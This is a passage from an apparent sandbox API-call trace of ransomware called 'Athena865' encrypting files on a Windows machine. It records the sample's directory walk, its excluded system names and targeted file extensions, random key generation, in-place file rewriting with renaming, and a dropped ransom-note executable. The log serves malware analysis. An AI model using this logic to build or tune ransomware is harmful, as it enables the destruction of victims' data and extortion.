(HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0056.523] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0056.523] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0056.523] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0056.524] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0056.524] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0056.524] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0056.524] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0056.524] CloseHandle (hObject=0x17c) returned 1 [0056.524] CloseHandle (hObject=0x154) returned 1 [0056.524] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0056.524] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518bc8 | out: hHeap=0x4f0000) returned 1 [0056.524] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0056.524] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc301560, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2cb13b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OWOW32LR.cab", cAlternateFileName="")) returned 1 [0056.524] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0056.524] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0056.524] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2=".") returned 1 [0056.524] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="..") returned 1 [0056.524] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="windows") returned -1 [0056.524] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="bootmgr") returned 1 [0056.524] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="temp") returned -1 [0056.524] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="pagefile.sys") returned -1 [0056.524] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="boot") returned 1 [0056.525] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="ids.txt") returned 1 [0056.525] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="ntuser.dat") returned 1 [0056.525] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="perflogs") returned -1 [0056.525] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2="MSBuild") returned 1 [0056.525] lstrlenW (lpString="OWOW32LR.cab") returned 12 [0056.525] lstrcpyW (in: lpString1=0x241e8c6, lpString2="OWOW32LR.cab" | out: lpString1="OWOW32LR.cab") returned="OWOW32LR.cab" [0056.525] lstrlenW (lpString="OWOW32LR.cab") returned 12 [0056.525] lstrlenW (lpString="Athena865") returned 9 [0056.525] lstrcmpiW (lpString1="W32LR.cab", lpString2="Athena865") returned 1 [0056.525] lstrlenW (lpString=".dll") returned 4 [0056.525] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2=".dll") returned 1 [0056.525] lstrlenW (lpString=".lnk") returned 4 [0056.525] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2=".lnk") returned 1 [0056.525] lstrlenW (lpString=".ini") returned 4 [0056.525] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2=".ini") returned 1 [0056.525] lstrlenW (lpString=".sys") returned 4 [0056.525] lstrcmpiW (lpString1="OWOW32LR.cab", lpString2=".sys") returned 1 [0056.525] lstrlenW (lpString="OWOW32LR.cab") returned 12 [0056.525] lstrlenW (lpString="bak") returned 3 [0056.525] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1 [0056.525] lstrlenW (lpString="ba_") returned 3 [0056.525] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1 [0056.525] lstrlenW (lpString="dbb") returned 3 [0056.525] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1 [0056.525] lstrlenW (lpString="vmdk") returned 4 [0056.525] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1 [0056.525] lstrlenW (lpString="rar") returned 3 [0056.525] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1 [0056.525] lstrlenW (lpString="zip") returned 3 [0056.525] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1 [0056.525] lstrlenW (lpString="tgz") returned 3 [0056.525] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1 [0056.525] lstrlenW (lpString="vbox") returned 4 [0056.525] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1 [0056.525] lstrlenW (lpString="vdi") returned 3 [0056.526] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1 [0056.526] lstrlenW (lpString="vhd") returned 3 [0056.526] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1 [0056.526] lstrlenW (lpString="vhdx") returned 4 [0056.526] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1 [0056.526] lstrlenW (lpString="avhd") returned 4 [0056.526] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1 [0056.526] lstrlenW (lpString="db") returned 2 [0056.526] lstrcmpiW (lpString1="ab", lpString2="db") returned -1 [0056.526] lstrlenW (lpString="db2") returned 3 [0056.526] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1 [0056.526] lstrlenW (lpString="db3") returned 3 [0056.526] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1 [0056.526] lstrlenW (lpString="dbf") returned 3 [0056.526] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1 [0056.526] lstrlenW (lpString="mdf") returned 3 [0056.526] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1 [0056.526] lstrlenW (lpString="mdb") returned 3 [0056.526] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1 [0056.526] lstrlenW (lpString="sql") returned 3 [0056.526] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1 [0056.526] lstrlenW (lpString="sqlite") returned 6 [0056.526] lstrcmpiW (lpString1="LR.cab", lpString2="sqlite") returned -1 [0056.526] lstrlenW (lpString="sqlite3") returned 7 [0056.526] lstrcmpiW (lpString1="2LR.cab", lpString2="sqlite3") returned -1 [0056.526] lstrlenW (lpString="sqlitedb") returned 8 [0056.526] lstrcmpiW (lpString1="32LR.cab", lpString2="sqlitedb") returned -1 [0056.526] lstrlenW (lpString="xml") returned 3 [0056.526] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1 [0056.526] lstrlenW (lpString="$er") returned 3 [0056.526] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1 [0056.526] lstrlenW (lpString="4dd") returned 3 [0056.526] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1 [0056.526] lstrlenW (lpString="4dl") returned 3 [0056.526] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1 [0056.527] lstrlenW (lpString="^^^") returned 3 [0056.527] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1 [0056.527] lstrlenW (lpString="abs") returned 3 [0056.527] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1 [0056.527] lstrlenW (lpString="abx") returned 3 [0056.527] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1 [0056.527] lstrlenW (lpString="accdb") returned 5 [0056.527] lstrcmpiW (lpString1="R.cab", lpString2="accdb") returned 1 [0056.527] lstrlenW (lpString="accdc") returned 5 [0056.527] lstrcmpiW (lpString1="R.cab", lpString2="accdc") returned 1 [0056.527] lstrlenW (lpString="accde") returned 5 [0056.527] lstrcmpiW (lpString1="R.cab", lpString2="accde") returned 1 [0056.527] lstrlenW (lpString="accdr") returned 5 [0056.527] lstrcmpiW (lpString1="R.cab", lpString2="accdr") returned 1 [0056.527] lstrlenW (lpString="accdt") returned 5 [0056.527] lstrcmpiW (lpString1="R.cab", lpString2="accdt") returned 1 [0056.527] lstrlenW (lpString="accdw") returned 5 [0056.527] lstrcmpiW (lpString1="R.cab", lpString2="accdw") returned 1 [0056.527] lstrlenW (lpString="accft") returned 5 [0056.527] lstrcmpiW (lpString1="R.cab", lpString2="accft") returned 1 [0056.527] lstrlenW (lpString="adb") returned 3 [0056.527] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1 [0056.527] lstrlenW (lpString="adb") returned 3 [0056.527] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1 [0056.527] lstrlenW (lpString="ade") returned 3 [0056.527] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1 [0056.527] lstrlenW (lpString="adf") returned 3 [0056.527] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1 [0056.528] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.Athena865") returned 85 [0056.528] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.athena865"), dwFlags=0x1) returned 1 [0056.528] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\OWOW32LR.cab.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\owow32lr.cab.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0056.528] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2928955) returned 1 [0056.528] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0056.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0056.529] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518bc8 [0056.529] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0056.529] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0056.529] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0056.529] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2cb440, lpName=0x0) returned 0x17c [0056.531] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0xcb440) returned 0x2d50000 [0056.666] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0056.667] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0056.667] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0056.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0056.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0056.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0056.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0056.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0056.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0056.668] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0056.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0056.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0056.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0056.668] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0056.675] CloseHandle (hObject=0x17c) returned 1 [0056.675] CloseHandle (hObject=0x154) returned 1 [0056.675] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0056.675] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518bc8 | out: hHeap=0x4f0000) returned 1 [0056.675] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0056.684] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0056.684] lstrcmpiW (lpString1="Setup.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0056.684] lstrcmpiW (lpString1="Setup.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0056.684] lstrcmpiW (lpString1="Setup.xml", lpString2=".") returned 1 [0056.684] lstrcmpiW (lpString1="Setup.xml", lpString2="..") returned 1 [0056.684] lstrcmpiW (lpString1="Setup.xml", lpString2="windows") returned -1 [0056.684] lstrcmpiW (lpString1="Setup.xml", lpString2="bootmgr") returned 1 [0056.684] lstrcmpiW (lpString1="Setup.xml", lpString2="temp") returned -1 [0056.684] lstrcmpiW (lpString1="Setup.xml", lpString2="pagefile.sys") returned 1 [0056.684] lstrcmpiW (lpString1="Setup.xml", lpString2="boot") returned 1 [0056.684] lstrcmpiW (lpString1="Setup.xml", lpString2="ids.txt") returned 1 [0056.684] lstrcmpiW (lpString1="Setup.xml", lpString2="ntuser.dat") returned 1 [0056.684] lstrcmpiW (lpString1="Setup.xml", lpString2="perflogs") returned 1 [0056.684] lstrcmpiW (lpString1="Setup.xml", lpString2="MSBuild") returned 1 [0056.684] lstrlenW (lpString="Setup.xml") returned 9 [0056.684] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml" [0056.684] lstrlenW (lpString="Setup.xml") returned 9 [0056.684] lstrlenW (lpString="Athena865") returned 9 [0056.684] lstrlenW (lpString=".dll") returned 4 [0056.684] lstrcmpiW (lpString1="Setup.xml", lpString2=".dll") returned 1 [0056.684] lstrlenW (lpString=".lnk") returned 4 [0056.684] lstrcmpiW (lpString1="Setup.xml", lpString2=".lnk") returned 1 [0056.685] lstrlenW (lpString=".ini") returned 4 [0056.685] lstrcmpiW (lpString1="Setup.xml", lpString2=".ini") returned 1 [0056.685] lstrlenW (lpString=".sys") returned 4 [0056.685] lstrcmpiW (lpString1="Setup.xml", lpString2=".sys") returned 1 [0056.685] lstrlenW (lpString="Setup.xml") returned 9 [0056.685] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.Athena865") returned 82 [0056.685] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.athena865"), dwFlags=0x1) returned 1 [0056.685] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0056.686] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2362) returned 1 [0056.686] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0056.686] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0056.686] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518bc8 [0056.686] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0056.687] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0056.687] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0056.687] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc40, lpName=0x0) returned 0x17c [0056.689] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc40) returned 0x100000 [0056.689] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0056.690] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0056.690] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0056.690] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0056.690] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0056.690] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0056.690] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0056.690] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0056.690] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0056.691] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0056.691] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0056.691] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0056.691] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0056.691] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0056.691] CloseHandle (hObject=0x17c) returned 1 [0056.691] CloseHandle (hObject=0x154) returned 1 [0056.691] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0056.691] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518bc8 | out: hHeap=0x4f0000) returned 1 [0056.691] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0056.691] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x93a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0056.691] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0056.692] ReleaseMutex (hMutex=0xec) returned 1 [0056.692] CloseHandle (hObject=0xec) returned 1 [0056.692] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C" [0056.692] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518d60 | out: hHeap=0x4f0000) returned 1 [0056.692] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f5b0 | out: hHeap=0x4f0000) returned 1 [0056.692] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C") returned 62 [0056.692] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\1EF3396C61E3FD6AD18489C3C1CCBD1C") returned 0xec [0056.692] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0056.692] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C" [0056.692] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0056.692] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 0 [0056.693] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0056.693] GetLastError () returned 0x0 [0056.693] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0056.693] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x534d08 [0056.693] ReadFile (in: hFile=0xf4, lpBuffer=0x534d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x534d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0056.694] CloseHandle (hObject=0xf4) returned 1 [0056.694] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d08 | out: hHeap=0x4f0000) returned 1 [0056.694] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0056.694] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd36cac0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd36cac0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0056.694] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0056.694] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0056.694] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0056.694] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf6e34d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd36cac0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbd36cac0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0056.694] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0056.694] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0056.694] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0056.694] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0056.694] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd36cac0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbd36cac0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0056.694] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0056.694] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf79111d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1200204, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="InfLR.cab", cAlternateFileName="")) returned 1 [0056.694] lstrcmpiW (lpString1="InfLR.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0056.694] lstrcmpiW (lpString1="InfLR.cab", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0056.694] lstrcmpiW (lpString1="InfLR.cab", lpString2=".") returned 1 [0056.694] lstrcmpiW (lpString1="InfLR.cab", lpString2="..") returned 1 [0056.694] lstrcmpiW (lpString1="InfLR.cab", lpString2="windows") returned -1 [0056.694] lstrcmpiW (lpString1="InfLR.cab", lpString2="bootmgr") returned 1 [0056.694] lstrcmpiW (lpString1="InfLR.cab", lpString2="temp") returned -1 [0056.695] lstrcmpiW (lpString1="InfLR.cab", lpString2="pagefile.sys") returned -1 [0056.695] lstrcmpiW (lpString1="InfLR.cab", lpString2="boot") returned 1 [0056.695] lstrcmpiW (lpString1="InfLR.cab", 